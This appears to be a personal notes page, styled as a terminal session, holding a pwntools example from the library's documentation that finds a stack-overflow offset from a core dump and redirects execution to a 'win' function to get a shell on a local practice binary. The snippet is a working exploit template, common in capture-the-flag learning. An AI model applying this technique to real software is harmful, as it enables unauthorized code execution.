$ cd ../
$ cat /backups/brain/
0048Automatic pwntools coredump offset 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)
# Run the process once so that it crashes
process(['./crash', payload]).wait()
# Get the core dump
core = Coredump('./core')
# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload
# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
cyclic_find(core.eip): crash.symbols.win
})
# Get a shell!
io = process(['./crash', payload])
io.sendline(b'id')
print(io.recvline())
From https://docs.pwntools.com/en/stable/elf/corefile.html
TODO: See if it can be easily integrated with coredumpctl
$ cd ../